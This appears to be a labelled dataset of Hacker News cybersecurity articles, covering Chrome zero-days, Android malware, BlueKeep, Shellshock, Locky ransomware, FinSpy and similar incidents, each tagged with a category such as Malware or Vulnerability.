The cyberspace is like a dope that is capable of psychoactive effects. A proactive thinking and approach will take you ahead of the people on the other end.

Take the time to ponder over the incidents and respond wisely is all we have to say!

",Cyber_Attack
Another Google Chrome 0-Day Bug Found Actively Exploited In-the-Wild,https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html,"Google has addressed yet another actively exploited zero-day in Chrome browser, marking the second such fix released by the company within a month.
The browser maker on Friday shipped 89.0.4389.90 for Windows, Mac, and Linux, which is expected to be rolling out over the coming days/weeks to all users.
While the update contains a total of five security fixes, the most important flaw rectified by Google concerns a use after free vulnerability in its Blink rendering engine. The bug is tracked as CVE-2021-21193.
Details about the flaw are scarce except that it was reported to Google by an anonymous researcher on March 9.
According to IBM, the vulnerability is rated 8.8 out of 10 on the CVSS scale, and could allow a remote attacker to execute arbitrary code on the target system. ""By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to execute arbitrary code or cause a denial of service condition on the system,"" the report stated.
As is usually the case with actively exploited flaws, Google issued a terse statement acknowledging that an exploit for CVE-2021-21193 existed but refrained from sharing additional information until a majority of users are updated with the fixes and prevent other threat actors from creating exploits targeting this zero-day.
""Google is aware of reports that an exploit for CVE-2021-21193 exists in the wild,"" Chrome Technical Program Manager Prudhvikumar Bommana noted in a blog post.
With this update, Google has fixed three zero-day flaws in Chrome since the start of the year.
Earlier this month, the company issued a fix for an ""object lifecycle issue in audio"" (CVE-2021-21166) which it said was being actively exploited. Then on February 4, the company resolved another actively-exploited heap buffer overflow flaw (CVE-2021-21148) in its V8 JavaScript rendering engine.
Chrome users can update to the latest version by heading to Settings > Help > About Google Chrome to mitigate the risk associated with the flaw.

",Vulnerability
Java based cross platform malware found in wild,https://thehackernews.com/2013/08/Cross-platform-malware-java-hacking-tool.html,"Other than Windows, Now other platforms are becoming more popular every day and attracting bad guys who are starting to create malicious code for other systems.
Java applications can run on multiple platforms with ease, thus no surprise that malicious code written in Java that is designed to target more than one operating system are becoming increasingly common.

Researchers at McAfee Labs spotted another sample of Java based trojan dubbed as JV/BackDoor-FAZY that opens a back door for an attacker to execute commands and acts as a bot after infection.

According to researcher, The key to decrypt the config file was encrypted with Base 64, Triple-DES algorithm and Hex. Decrypting the file provides information about the backdoor connection, includes IP address, port number, operating system, mutex information, and password for the connection.

""On execution, the JAR file opens the backdoor connection to the IP address and the port mentioned in the plain config file. Once the backdoor connection is made, the compromised user environment will act as the server and the attacker will be the client. The attacker can now take control of the victim's system and can execute any commands."" blog post said.
Such malicious file can be bundled with a legitimate file and can be dropped and executed in the background, without the user consent and can copy itself to all available drives on the system and allows hackers to record the user screen, keystrokes, access to command prompt, downloading & execute other binary files or using the system to DDoS using HTTP POST and GET requests.

Multi-platform malware is not entirely new, but with the increasing popularity of Apple products and systems running Linux, there is an incentive for malware authors to save time and resources by developing strains that are capable of infecting multiple operating systems.

",Malware
New Cold Boot Attack Unlocks Disk Encryption On Nearly All Modern PCs,https://thehackernews.com/2018/09/cold-boot-attack-encryption.html,"Security researchers have revealed a new attack to steal passwords, encryption keys and other sensitive information stored on most modern computers, even those with full disk encryption.

The attack is a new variation of a traditional Cold Boot Attack, which is around since 2008 and lets attackers steal information that briefly remains in the memory (RAM) after the computer is shut down.

However, to make the cold boot attacks less effective, most modern computers come bundled with a safeguard, created by the Trusted Computing Group (TCG), that overwrites the contents of the RAM when the power on the device is restored, preventing the data from being read.

Now, researchers from Finnish cyber-security firm F-Secure figured out a new way to disable this overwrite security measure by physically manipulating the computer's firmware, potentially allowing attackers to recover sensitive data stored on the computer after a cold reboot in a matter of few minutes.

""Cold boot attacks are a known method of obtaining encryption keys from devices. But the reality is that attackers can get their hands on all kinds of information using these attacks. Passwords, credentials to corporate networks, and any data stored on the machine are at risk,"" the security firm warns in a blog post published today.

Video Demonstration of the New Cold Boot Attack

Using a simple tool, researchers were able to rewrite the non-volatile memory chip that contains the memory overwrite settings, disable it, and enable booting from external devices. You can also watch the video demonstration performing the attack below.
Like the traditional cold boot attack, the new attack also requires physical access to the target device as well as right tools to recover remaining data in the computer's memory.

""It's not exactly easy to do, but it is not a hard enough issue to find and exploit for us to ignore the probability that some attackers have already figured this out,"" says F-Secure principal security consultant Olle Segerdahl, one the two researchers.

""It's not exactly the kind of thing that attackers looking for easy targets will use. But it is the kind of thing that attackers looking for bigger phish, like a bank or large enterprise, will know how to use.""

How Microsoft Windows and Apple Users Can Prevent Cold Boot Attacks
According to Olle and his colleague Pasi Saarinen, their new attack technique is believed to be effective against nearly all modern computers and even Apple Macs and can't be patched easily and quickly.

The two researchers, who will present their findings today at a security conference, say they have already shared their findings with Microsoft, Intel, and Apple, and helped them explore possible mitigation strategies.

Microsoft updated its guidance on Bitlocker countermeasures in response to the F-Secure's findings, while Apple said that its Mac devices equipped with an Apple T2 Chip contain security measures designed to protect its users against this attack.

But for Mac computers without the latest T2 chip, Apple recommended users to set a firmware password in order to help harden the security of their computers.

Intel has yet to comment on the matter.

The duo says there's no reliable way to ""prevent or block the cold boot attack once an attacker with the right know-how gets their hands on a laptop,"" but suggest the companies can configure their devices so that attackers using cold boot attacks won't find anything fruitful to steal.

Meanwhile, the duo recommends IT departments to configure all company computers to either shut down or hibernate (not enter sleep mode) and require users to enter their BitLocker PIN whenever they power up or restore their PCs.

Attackers could still perform a successful cold boot attack against computers configured like this, but since the encryption keys are not stored in the memory when a machine hibernates or shuts down, there will be no valuable information for an attacker to steal.

",Vulnerability
iBanking Android Malware targeting Facebook Users with Web Injection techniques,https://thehackernews.com/2014/04/ibanking-android-malware-targeting.html,"iBanking is nothing but a mobile banking Trojan app which impersonates itself as a so-called 'Security App' for Android devices and distributed through HTML injection attacks on banking sites, in order to deceive its victims.

Recently, its source code has been leaked online through an underground forum that gave the opportunities to a larger number of cyber criminals to launch attacks using this kind of ready-made mobile malware.

The malicious iBanking app installed on victims' phone has capabilities to spy on user's communications. The bot allows an attacker to spoof SMS, redirect calls to any pre-defined phone number, capture audio using the device's microphone and steal other confidential data like call history log and the phone book contacts.

According to new report from ESET security researchers, now this iBanking Trojan (Android/Spy.Agent.AF) is targeting Facebook users by tricking them to download a malware application.

The malware uses JavaScript web injection method to create a fake Facebook Verification page for Facebook users, as shown:
Injected fake verification page prompts users to enter their mobile number in order to verify the Facebook account authenticity, and then shows the following page if he indicates that his mobile is running Android.
Next fake page asks victim to download an Android app from the shown URL or using QR code method, if SMS somehow fails to reach the user's phone. Once downloaded and installed, the malware connects to its command-and-control server that allows attackers to issue commands to each infected device.

Facebook also has two-factor authentication features for quite a long time, but this is the very first time when Facebook users are targeted by iBanking Trojan. The reason may be an increasing number of people using it.
Since many banking sites use two-factor authentication and transaction authorization systems in order to deal with the various threats, but in order to bypass two factor authentication, cyber criminals have started to create various mobile malware like iBanking to solve their purpose.

iBanking Trojan can be used in conjunction with any malware in order to inject code into a webpage and is generally used to redirect incoming SMS messages to bypass two-factor authentication.

It is always important to treat third-party apps with a healthy dose of suspicion and skepticism as cybercriminals are always out there to hijack your every device.

Don't just download any app from any source you happen to encounter and before installing a new app, just check out the reputation of both the app and the publisher. In order to prevent direct installations, go to your Android device's Applications Settings menu and disable the ""unknown sources"" option for installing apps.

Stay Safe!

",Malware
WARNING — Malware Found in CamScanner Android App With 100+ Million Users,https://thehackernews.com/2019/08/android-camscanner-malware.html,"Beware! Attackers can remotely hijack your Android device and steal data stored on it, if you are using free version of CamScanner, a highly-popular Phone PDF creator app with more than 100 million downloads on Google Play Store.

So, to be safe, just uninstall the CamScanner app from your Android device now, as Google has already removed the app from its official Play Store.

Unfortunately, CamScanner has recently gone rogue as researchers found a hidden Trojan Dropper module within the app that could allow remote attackers to secretly download and install malicious program on users' Android devices without their knowledge.

However, the malicious module doesn't actually reside in the code of CamScanner Android app itself; instead, it is part of a 3rd-party advertising library that recently was introduced in the PDF creator app.

Discovered by Kaspersky security researchers, the issue came to light after many CamScanner users spotted suspicious behavior and posted negative reviews on Google Play Store over the past few months, indicating the presence of an unwanted feature.

""It can be assumed that the reason why this malware was added was the app developers' partnership with an unscrupulous advertiser,"" the researchers said.

The analysis of the malicious Trojan Dropper module revealed that the same component was also previously observed in some apps pre-installed on Chinese smartphones.

""The module extracts and runs another malicious module from an encrypted file included in the app's resources,"" researchers warned.

""As a result, the owners of the module can use an infected device to their benefit in any way they see fit, from showing the victim intrusive advertising to stealing money from their mobile account by charging paid subscriptions.""

Kaspersky researchers reported its findings to Google, who promptly removed the CamScanner app from its Play Store, but they say ""it looks like app developers got rid of the malicious code with the latest update of CamScanner.""

Despite this, the researchers advised users to just keep in mind ""that versions of the app vary for different devices, and some of them may still contain malicious code.""

It should be noted that since the paid version of the CamScanner app doesn't include the 3rd-party advertising library and thus the malicious module, it is not affected and is still available on the Google Play Store.

Although Google has stepped up its efforts to remove potentially harmful apps from Play Store in the last few years and added more stringent malware checks for new apps, legitimate apps can go rogue overnight to target millions of its users.

""What we can learn from this story is that any app — even one from an official store, even one with a good reputation, and even one with millions of positive reviews and a big, loyal user base —can turn into malware overnight,"" the researchers concluded.

Therefore, you are strongly advised to always keep a good antivirus app on your Android device that can detect and block such malicious activities before they can infect your device.

In addition, always look at the app reviews left by other users who have downloaded the app, and also verify app permissions before installing any app and grant only those permissions that are relevant for the app's purpose.

For more technical detail about the Trojan Dropper malware found in CamScanner and a full list of its indicators of compromise (IOCs) including MD5 hashes and its command and control server domains, you can head on to Kaspersky's report.

",Malware
20 Million Credit Cards stolen in South Korea; 40% Population affected by the Data Leak,https://thehackernews.com/2014/01/bank-data-and-credit-card-details-of-20.html,"Since all threats to data security and privacy often come from outside, but internal threats are comparatively more dangerous and a difficult new dimension to the data loss prevention challenge i.e. Data Breach. The ""Insider threats"" have the potential to cause greater financial losses than attacks that originate outside the company.

This is what happened recently with three credit card firms in South Korea, where the financial and personal data belonging to users of at least 20 million, in a country of 50 million, was stolen by an employee, who worked as a temporary consultant at Korean Credit Bureau (KCB).
""Confidential data of customers ranging from the minister-level officials to celebrities, including their phone numbers, addresses, credit card numbers, and even some banking records, have been leaked from Kookmin Bank, Shinhan Bank and several other commercial banks"",

The stolen data includes the bank account numbers, customers' names, social security numbers, phone numbers, credit card numbers and expiration dates, according to the estimate by the Financial Supervisory Service (FSS).

The arrested employee behind the theft, later sold the data to phone marketing companies, whose managers were also arrested earlier this month.

""The credit card firms will cover any financial losses caused to their customers due to the latest accident,"" the FSS said and assured that the Regulators have launched investigations into security measures at the affected firms.
""Their parent firms seem to be taking a step back (from the issue) and not showing any responsible attitude, We will hold them fully responsible for the data leak if their sharing of client data among affiliates and internal control turn out to be the cause.""
Now this is not the first time when a company is facing data breach because of Insider Threat, last month an employee of Citibank Korea was arrested for stealing the personal data of 34,000 customers. In 2012, two South Korean hackers were arrested for data from 8.7 million customers in the nation's second-biggest mobile operator.

",Data_Breaches
First Cyber Attack 'Mass Exploiting' BlueKeep RDP Flaw Spotted in the Wild,https://thehackernews.com/2019/11/bluekeep-rdp-vulnerability.html,"Cybersecurity researchers have spotted a new cyberattack that is believed to be the very first but an amateur attempt to weaponize the infamous BlueKeep RDP vulnerability in the wild to mass compromise vulnerable systems for cryptocurrency mining.

In May this year, Microsoft released a patch for a highly-critical remote code execution flaw, dubbed BlueKeep, in its Windows Remote Desktop Services that could be exploited remotely to take full control over vulnerable systems just by sending specially crafted requests over RDP.

BlueKeep, tracked as CVE-2019-0708, is a wormable vulnerability because it can be weaponized by potential malware to propagate itself from one vulnerable computer to another automatically without requiring victims' interaction.

BlueKeep has been considered to be such a serious threat that since its discovery, Microsoft and even government agencies [NSA and GCHQ] had continuously been encouraging Windows users and admins to apply security patches before hackers gain hold onto their systems.

Even many security firms and individual cybersecurity researchers who successfully developed a fully working exploit for BlueKeep pledged not to release it to the public for a greater good—especially because nearly 1 million systems were found vulnerable even a month after patches were released.

This is why amateur hackers took almost six months to come up with a BlueKeep exploit that is still unreliable and doesn't even have a wormable component.

BlueKeep Exploit Spreads Cryptocurrency Malware

The BlueKeep exploitation in the wild was first speculated by Kevin Beaumont on Saturday when his multiple EternalPot RDP honeypot systems got crashed and rebooted suddenly.


Marcus Hutchins, the researcher who helped stop the WannaCry ransomware outbreak in 2017, then analysed the crash dumps shared by Beaumont and confirmed ""BlueKeep artifacts in memory and shellcode to drop a Monero Miner.""

In a blog post published today, Hutchins said, ""Finally, we confirm this segment [in crash dump] points to executable shellcode. At this point, we can assert valid BlueKeep exploit attempts in the wild, with shellcode that even matches that of the shellcode in the BlueKeep Metasploit module!""

The exploit contains encoded PowerShell commands as the initial payload, which then eventually downloads the final malicious executable binary from a remote attacker-controlled server and executes it on the targeted systems.

According to Google's VirusTotal malware scanning service, the malicious binary is cryptocurrency malware that mines Monero (XMR) using the computing power of infected systems to generate revenue for attackers.

But It's Not Wormable Attack!

Hutchins also confirmed that the malware spread by this BlueKeep exploit doesn't contain any self-spreading capabilities to jump unassisted from one computer to another.

Instead, it appears that the unknown attackers are first scanning the Internet to find vulnerable systems and then exploiting them.

In other words, without a wormable component, the attackers would be able to only compromise vulnerable systems that are directly connected to the Internet, but not those that are internally-connected and reachable from them.

Though sophisticated hackers might have already been exploiting the BlueKeep flaw to stealthy compromise targeted victims, fortunately, the flaw has not yet been exploited at a larger scale, like WannaCry or NotPetya wormable attacks, as speculated initially.

However, at the time of writing, it's unclear how many BlueKeep vulnerable Windows systems have been compromised in the latest cyberattacks to deploy the Monero miner in the wild.

To protect yourself? Let me try this again—Go and fix the goddamn vulnerability if you are or your organisation is still using BlueKeep vulnerable Windows systems.

If fixing the vulnerability in your organisation is not possible anytime sooner, then you can take these mitigations:
Disable RDP services, if not required.
Block port 3389 using a firewall or make it accessible only over a private VPN.
Enable Network Level Authentication (NLA) – this is partial mitigation to prevent any unauthenticated attacker from exploiting this Wormable flaw.

",Cyber_Attack
The Bash Vulnerability: How to Protect your Environment,https://thehackernews.com/2014/10/the-bash-vulnerability-how-to-protect_23.html,"A recently discovered hole in the security of the Bourne-Again Shell (bash) has the majority of Unix/Linux (including OS X) admins sweating bullets. You should be, too--attackers have already developed exploits to unleash on unpatched web servers, network services and daemons that use shell scripts with environment variables (this can include network equipment, industrial devices, etc.)

Jaime Blasco, AlienVault Labs Director, gives a good explanation of the exploit in this blog post. And, the video below gives you a quick overview of how AlienVault Unified Security Management (USM) can detect malicious traffic on your network trying to locate and exploit this vulnerability.

Basically, this vulnerability allows an attacker to execute shell commands on a server due to an issue in how bash interprets environment variables (such as ""cookie"", ""host"", ""referrer""). Exploiting this allows an attacker to run shell commands directly. Once they have access to run shell commands, they own the server.

What can I do?
If you're already sanitizing inputs across your web applications to protect against SQL injection and cross-site scripting, you're on the right track. This will give you at least a basic defense.

While CGI is still around on most sites, it is usually restricted to little bits of code that have been around for years. These bits of code have probably not updated under the rule-of-thumb ""If it ain't broke, don't fix it.""

Well – guess what? It's broke. Fix it. It's time to find an alternative. But, in the mean time, it's a good idea to disable any CGI that calls on the shell.

Some have recommended using something other than bash in your applications (Dash, Fish, Zsh, Csh, etc) but be sure to put some thought and careful planning into that instead of a knee-jerk 'rip and replace'. Certain shells might work differently or even be missing some of the bash functionality that your applications rely on, rendering them inoperable.

The real fix is going to be patching of bash itself, either from the developers of the distribution you use, or, (if you're savvy) via your own compiled code. Until then, the steps mentioned above are good first steps to defending yourself.

How can AlienVault help?
AlienVault Unified Security Management (USM) provides asset discovery, vulnerability assessment, threat detection (IDS), behavioral monitoring and SIEM in a single console, giving you everything you need to detect vulnerabilities like Bash, and attempted exploits.

With AlienVault USM you can:
Discover and inventory your network assets automatically
Scan for thousands of vulnerabilities, including Bash
Detect attacks and activity with known malicious hosts
Prioritize risks with correlated vulnerability and threat data
Benefit from threat intelligence updates developed by security experts at AlienVault Labs
Within 24 hours of the discovery of the Bash vulnerability, the AlienVault Labs team pushed updated network signatures and correlation directives to the USM platform, enabling users to detect the vulnerability in their environment, and detect attackers attempting to exploit it.
Learn more about AlienVault USM:
Download a free 30-day trial
Watch a demo on-demand
Play with USM in our product sandbox (no download required)
Attend our webcast ""The Bash Vulnerability: Practical Steps to Protect your Environment""

",Vulnerability
Apple's Developer Center Offline for 32 Hours; Compromised ?,https://thehackernews.com/2013/07/apples-developer-center-offline-for-32.html,"It's been over a day now since Apple's online Dev Center went offline, and latest message can be seen in the screenshot, which explains that the current maintenance has took a lot longer than they expected.
""We apologize that maintenance is taking longer than expected. If your program membership was set to expire during this period, it has been extended and your app will remain on the App Store. If you have any other concerns about your account, please contact us. Thank you for your patience."" message said.

Since that time, developers have been unable to access the site and cannot visit the forums or download Mac or iOS SDKs, the iOS 7 beta, or the Mavericks beta.

It was first seemed like Apple having some backend issues but according to tweets from many developers, they have received a message from Apple that an attempt was made to reset their user ID's password. Such notices pointing that Apple's Developer Center website may have been compromised. But if it is a security issue, there still remain unanswered questions over what happened.

This is not a problem if you have no need to visit your Apple developer account, but for those of you that want to add another iPhone or iOS device to your account, it is a real problem. Possibly that iOS 7 beta 4 download will arrive right around the time of the Dev Center return.

Update (Monday) :
Apple has published a statement claiming that an intruder attempted to steal the details of registered developers from the company's developer website.
A UK based security researcher, Ibrahim Balic claims that he reported 13 Vulnerabilities in Apple system, highlighting a hole that could left data from the Developer Center exposed. For proof of concept, he demonstrated the hack on his own 73 employees while reporting to Apple security team. Though he admits that he was able to hack more than 100,000 users, but he did not hack the system for malicious purposes.

Security researcher is not happy with Apple's Statement, that cited an attempted security breach as the reason for the developer site outage.

",Vulnerability
Malicious Gaming App Infects More than 1 Million Android Users,https://thehackernews.com/2015/07/android-malware-game.html,"It's not at all surprising that the Google Play Store is surrounded by a number of malicious applications that may gain users' attention to fall victim for one, but this time it might be even worse than you thought.

Threat researchers from security firm ESET have discovered a malicious Facebook-Credentials-Stealing Trojan masquerading as an Android game that has been downloaded by more than a Million Android users.

Malicious Android Apps downloaded 50,000-1,000,000 times

The Android game, dubbed ""Cowboy Adventure,"" and another malicious game, dubbed ""Jump Chess"" – downloaded up to 50,000 times, have since been removed from Google Play Store.

However, before taking them off from the app store, the creepy game apps may have compromised an unknown number of victims' Facebook credentials.

Both the games were created by the same software developer, Tinker Studio and both were used to gather social media credentials from unsuspecting users.

How Cowboy Adventure victimizes Android users?

Once installed, Cowboy Adventure produced a fake Facebook login window that prompted users to enter their Facebook usernames along with their passwords. A practice known as OAuth in which a 3rd party asks your Facebook login.

However, if users provide their credentials to Cowboy Adventure app, the malicious code within the game app allegedly sent their credentials to the attacker's server.

Therefore, If you have downloaded Cowboy Adventure or Jump Chess, you should immediately change not alone your Facebook password, but any service that uses the same combination of username and password as your Facebook account.

ESET senior security researcher Robert Lipovsky believes that the app malicious behavior is not just a careless mistake of the game developer, but the developer is actually a criminal minded.

Take Away

A few basic tips that you should always keep in your mind are:
Always download apps from official sources, such as Google Play Store or Apple's App Store.
Read reviews from other users before downloading an app (Many users complained about ""Cowboy Adventure"" that the game locked them out of Facebook accounts).
Always use two-factor authentication on services that makes it harder for hackers to access your accounts with just your password.
Always keep a malware scanning software from trusted vendors like Avast, AVG, ESET, Kaspersky and Bitdefender, on your smartphone.

",Malware
Russian Arrested After Offering $1 Million to U.S. Company Employee for Planting Malware,https://thehackernews.com/2020/08/russian-extortion-malware.html,"Hackers always find a way in, even if there's no software vulnerability to exploit.

The FBI has arrested a Russian national who recently traveled to the United States and offered $1 million in bribe to an employee of a targeted company for his help in installing malware into the company's computer network manually.

Egor Igorevich Kriuchkov, 27-year-old, entered the United States as a tourist and was arrested in Los Angeles after meeting with the unnamed employee of an undisclosed Nevada-based company numerous times, between August 1 to August 21, to discuss the conspiracy.

""On or about July 16, EGOR IGOREVICH KRIUCHKOV used his WhatsApp account to contact the employee of victim company and arranged to visit in person in the District of Nevada,"" the court documents say.

""On or about July 28, EGOR IGOREVICH KRIUCHKOV entered the United States using his Russian Passport and a B1/B2 tourist visa.""

Kriuchkov also asked the employee to participate in developing tailored malware by sharing information about the company's infrastructure.


According to court documents released by the US Justice Department, the malicious software Kriuchkov asked to install aims to extract data from the company's network, allowing attackers to threaten it later to make the information public unless it pays a ransom.

Kriuchkov and his co-conspirators in Russia promised the employee to pay $1 million in Bitcoins after successfully planting the said malware and offered to launch a DDoS attack on the company's network to divert attention from the malware.

""If CHS1 [employee] agreed to this arrangement, the group would provide the malware to CHS1 [employee] in either a thumb drive to be inserted into a computer's USB drive or an email with an attachment containing malware.""

""The unidentified co-conspirator discussed various means by which to pay the employee, including payments using cryptocurrency, a guarantor security deposit, or cash.""

""After being contacted by the FBI, Kriuchkov drove overnight from Reno, Nevada, to Los Angeles. Kriuchkov asked an acquaintance to purchase an airline ticket for him in an attempt to fly out of the country,"" the United States agencies say.

After getting arrested by the FBI, who was conducting physical surveillance of Kriuchkov and his meetings, he listed prior companies the gang had targeted and also revealed that each of these targeted companies had a person working at those companies who installed malware on behalf of the gang.

To be noted, it's quite possible that a few high-profile ransomware and data breach attacks might have been executing in the same way by conspiring with the insiders.

Kriuchkov has been charged with one count of conspiracy to cause damage to a protected computer intentionally.
",Cyber_Attack
Microsoft Edge Bug Could've Let Hackers Steal Your Secrets for Any Site,https://thehackernews.com/2021/06/microsoft-edge-bug-couldve-let-hackers.html,"Microsoft last week rolled out updates for the Edge browser with fixes for two security issues, one of which concerns a security bypass vulnerability that could be exploited to inject and execute arbitrary code in the context of any website.
Tracked as CVE-2021-34506 (CVSS score: 5.4), the weakness stems from a universal cross-site scripting (UXSS) issue that's triggered when automatically translating web pages using the browser's built-in feature via Microsoft Translator.
Credited for discovering and reporting CVE-2021-34506 are Ignacio Laurence as well as Vansh Devgan and Shivam Kumar Singh with CyberXplore Private Limited.
""Unlike the common XSS attacks, UXSS is a type of attack that exploits client-side vulnerabilities in the browser or browser extensions in order to generate an XSS condition, and execute malicious code,"" CyberXplore researchers said in a write-up shared with The Hacker News.
""When such vulnerabilities are found and exploited, the behavior of the browser is affected and its security features may be bypassed or disabled.""
Specifically, the researchers found that the translation feature had a piece of vulnerable code that failed to sanitize input, thus allowing an attacker to potentially insert malicious JavaScript code anywhere in the webpage that's then subsequently executed when the user clicks the prompt on the address bar to translate the page.
As a proof-of-concept (PoC) exploit, the researchers demonstrated it was possible to trigger the attack simply by adding a comment to a YouTube video, which is written in a language other than English, along with an XSS payload.
In a similar vein, a friend request from a Facebook profile containing other language content and the XSS payload was found to execute the code as soon as the recipient of the request checked out the user's profile.
Following responsible disclosure on June 3, Microsoft fixed the issue on June 24, in addition to awarding the researchers $20,000 as part of its bug bounty program.
The latest update (version 91.0.864.59) to the Chromium-based browser can be downloaded by visiting Settings and more > About Microsoft Edge (edge://settings/help).

",Vulnerability
How Just Opening an MS Word Doc Can Hijack Every File On Your System,https://thehackernews.com/2016/02/locky-ransomware-decrypt.html,"If you receive a mail masquerading as a company's invoice and containing a Microsoft Word file, think twice before clicking on it.

Doing so could cripple your system and could lead to a catastrophic destruction.

Hackers are believed to be carrying out social engineering hoaxes by adopting eye-catching subjects in the spam emails and compromised websites to lure the victims into installing a deadly ransomware, dubbed ""Locky,"" into their systems.

So if you find .locky extension files on your network shares, Congratulations! You are infected and left with just two solutions: Rebuild your PC from scratch or Pay the ransom.

Locky ransomware is spreading at the rate of 4000 new infections per hour, which means approximately 100,000 new infections per day.

Microsoft MACROS are Back

It is hard to digest the fact that, in this 2016, even a single MS Word document could compromise your system by enabling 'Macros.'

This is where the point to appreciate hacker's sheer brilliance of tactics.
Locky ransomware is being distributed via Microsoft 365 or Outlook in the form of an Invoice email attachment (Word File that embeds vicious macro functions).

The concept of macros dates back to 1990s. You must be familiar with this message: ""Warning: This document contains macros.""

Now macros are back, as cyber criminals discover a new way to get internet users to open Microsoft Office documents, especially Word files that allow macros to run automatically.

How Does Locky Work?

Once a user opens a malicious Word document, the doc file gets downloaded to its system. However, danger comes in when the user opens the file and found the content scrambled and a popup that states ""enable macros"".

Here comes the bad part:
Once the victim enables the macro (malicious), he/she would download an executable from a remote server and run it.
This executable is nothing but the Locky Ransomware that, when started, will begin to encrypt all the files on your computer as well as network.
Locky ransomware affects nearly all file formats and encrypts all the files and replace the filename with .locky extension.

Once encrypted, the ransomware malware displays a message that instructs infected victims to download TOR and visit the attacker's website for further instructions and payments.

Locky ransomware asks victims to pay between 0.5 and 2 Bitcoins ($208 to $800) in order to get the decryption key.

One of the interesting note on Locky is that it is being translated into many languages, which heighten its attack beyond English boundaries to maximize the digital casualties.

Locky Encrypts Even Your Network-Based Backup Files

The new ransomware also has the capability to encrypt your network-based backup files. So it's time for you to keep you sensitive and important files in a third party storage as a backup plan in order to evade future-ransomware infections.

A researcher named Kevin Beaumont initially discovered the existence of Locky encrypted virus.

To check the impact of Locky, Kevin successfully intercepted the Locky traffic yesterday and realized that the cryptovirus is spreading out rapidly in the wild.
""I estimate by the end of the day well over 100,000 new endpoints will be infected with Locky, making this a genuine major cybersecurity incident — 3 days in, approximately a quarter of Million PCs will be infected,"" Kevin said in a blog post.
One hour of infection Statistics:
Among the highly impacted countries include Germany, Netherlands, United States, Croatia, Mali, Saudi Arabia, Mexico, Poland, Argentina and Serbia.

",Malware
17-Year-Old Found Bugs in WhatsApp Web and Mobile App,https://thehackernews.com/2015/01/whatsapp-web-mobile-app.html,"Last week, the most popular mobile messaging application WhatsApp finally arrived on the web — dubbed WhatsApp Web, but unfortunately it needs some improvements in its web version.

An independent 17-year-old security researcher Indrajeet Bhuyan reported two security holes in the WhatsApp web client that in some way exposes its users' privacy. Bhuyan called the first hole, WhatsApp photo privacy bug and the other WhatsApp Web Photo Sync Bug.

Bhuyan is the same security researcher who reported us the vulnerability in the widely popular mobile messaging app which allowed anyone to remotely crash WhatsApp by sending a specially crafted message of just 2kb in size, resulting in the loss of conversations.

Whatsapp Photo Privacy Bug
According to him, the new version of WhatsApp Web allows us to view a user's profile image even if we are not on the contact list of that user. Even if the user has set the profile image privacy setting to ""Contacts Only,"" the profile picture can be viewed by out of contacts people as well.

Basically, if we set the profile image privacy to Contacts Only, only the people in our contact list are able to view our profile picture, and nobody else. But, this is not in the case of WhatsApp Web. You can watch how this works in the video demonstration below:


WhatsApp Web Photo Sync Bug
The second security hole points out the WhatsApp Web Photo Syncing functionality. Bhuyan noticed that whenever a user deletes a photo that was sent via the mobile version of WhatsApp application, the photo appears blurred and can't be viewed.

However, the same photo, which has already been deleted by the user from mobile WhatsApp version, can be accessible by Whatsapp Web as the photo does not get deleted from its web client, revealing the fact that mobile and web clients of the service are not synced properly. You can also watch the video demonstration on this as well:

This is no surprise, as WhatsApp Web introduced just a couple of days before and these small security and implementation flaws could be expected at this time, as well as some other bugs could also be revealed in the near future.

However, the company will surely fix the issues and will definitely make its users' messaging experience secure. As partnered with Open Whisper Systems, WhatsApp recently made end-to-end encryption a default feature on Android platform, stepping a way forward for the online privacy of its users around the world.

",Vulnerability
Powerful FinSpy Spyware Found Targeting iOS and Android Users in Myanmar,https://thehackernews.com/2019/07/finspy-spyware-android-ios.html,"One of the most powerful, infamous, and advanced piece of government-grade commercial surveillance spyware dubbed FinSpy—also known as FinFisher—has been discovered in the wild targeting users in Myanmar.

Created by German company Gamma International, FinSpy is spying software that can target various mobile platforms including iOS and Android, we well as desktop operating systems.

Gamma Group reportedly sells its controversial FinSpy espionage tool exclusively to government agencies across the world, but also gained notoriety for targeting human rights activists in many countries.

The FinSpy implant is capable of stealing an extensive amount of personal information from targeted mobile devices, such as SMS/MMS messages, phone call recordings, emails, contacts, pictures, files, and GPS location data.

In its latest report published today, Kaspersky researchers revealed a cyber-espionage campaign that involves targeting Myanmar users with the latest versions of FinSpy implants for iOS and Android.

Since some advanced functionalities require FinSpy to have root privileges on a targeted device, the implant doesn't work properly on iOS without jailbreaking, which can be achieved with physical access or remotely in combination with some zero-day vulnerabilities.
However, in the case of Android, researchers found that the implant has been using the DirtyCow exploit to automatically gain root privileges on an unrooted Android device, allowing attackers to successfully infect a device remotely.

According to the researchers, the new versions of FinSpy for both mobile operating systems are also capable of recording VoIP calls via external apps such as Skype, WeChat, Viber, LINE, as well as via secure messaging apps such as WhatsApp, Threema, Signal, and Telegram.

""The module .chext targets messenger applications and hooks their functions to exfiltrate almost all accessible data: message content, photos, geolocation, contacts, group names, and so on. The collected data is submitted to the local server deployed by the main module,"" the researchers say.


FinSpy also includes keylogging functionality and has also been designed to cover up the tracks of its activities on a targeted device.

""Since the leak in 2014, Gamma Group has recreated significant parts of its implants, extended supported functionality (for example, the list of supported instant messengers has been significantly expanded) and at the same time improved encryption and obfuscation (making it harder to analyze and detect implants), which made it possible to retain its position in the market,"" the researchers conclude.

While conducting their research, Kaspersky researchers detected the updated versions of the FinSpy implants used in the wild in almost 20 countries, but ""assuming the size of Gamma's customer base; it's likely that the real number of victims is much higher.""

Gamma is continuously working on the updates for the FinSpy malware, as researchers have found another version of the threat at the time of publishing their report, and they are currently investigating the sample.

",Malware
Multiple Vulnerabilities in Firefox for Android Leak Sensitive Information,https://thehackernews.com/2014/03/multiple-vulnerabilities-in-firefox-for.html,"The Android operating system has hardened its security with application Sandboxing features to ensure that no application can access sensitive information held by another without proper privileges.

Android applications communicate with each other through Intents and these intents can be abused by hackers to provide a channel for a malicious application to inject malicious data into a target, potentially vulnerable application.

Security Researchers at IBM have discovered multiple vulnerabilities in Firefox for Android platform that allow a malicious application to leak the sensitive information related to the user's profile.

Android's Firefox app stores the personal data at following location:
/data/data/org.mozilla.firefox/files/mozilla/<RANDOM-STRING>.default.
Where the random name for user's profile is used to prevent unwanted access to this directory in case of Firefox exploitation.

Researchers developed an exploit to brute-force the <RANDOM-STRING> Firefox profile directory name in a practical amount of time CVE-2014-1516) and successfully bypassed Android's sandbox to obtain the sensitive data reside in that directory, including users' cookies, browsing history and cache information.

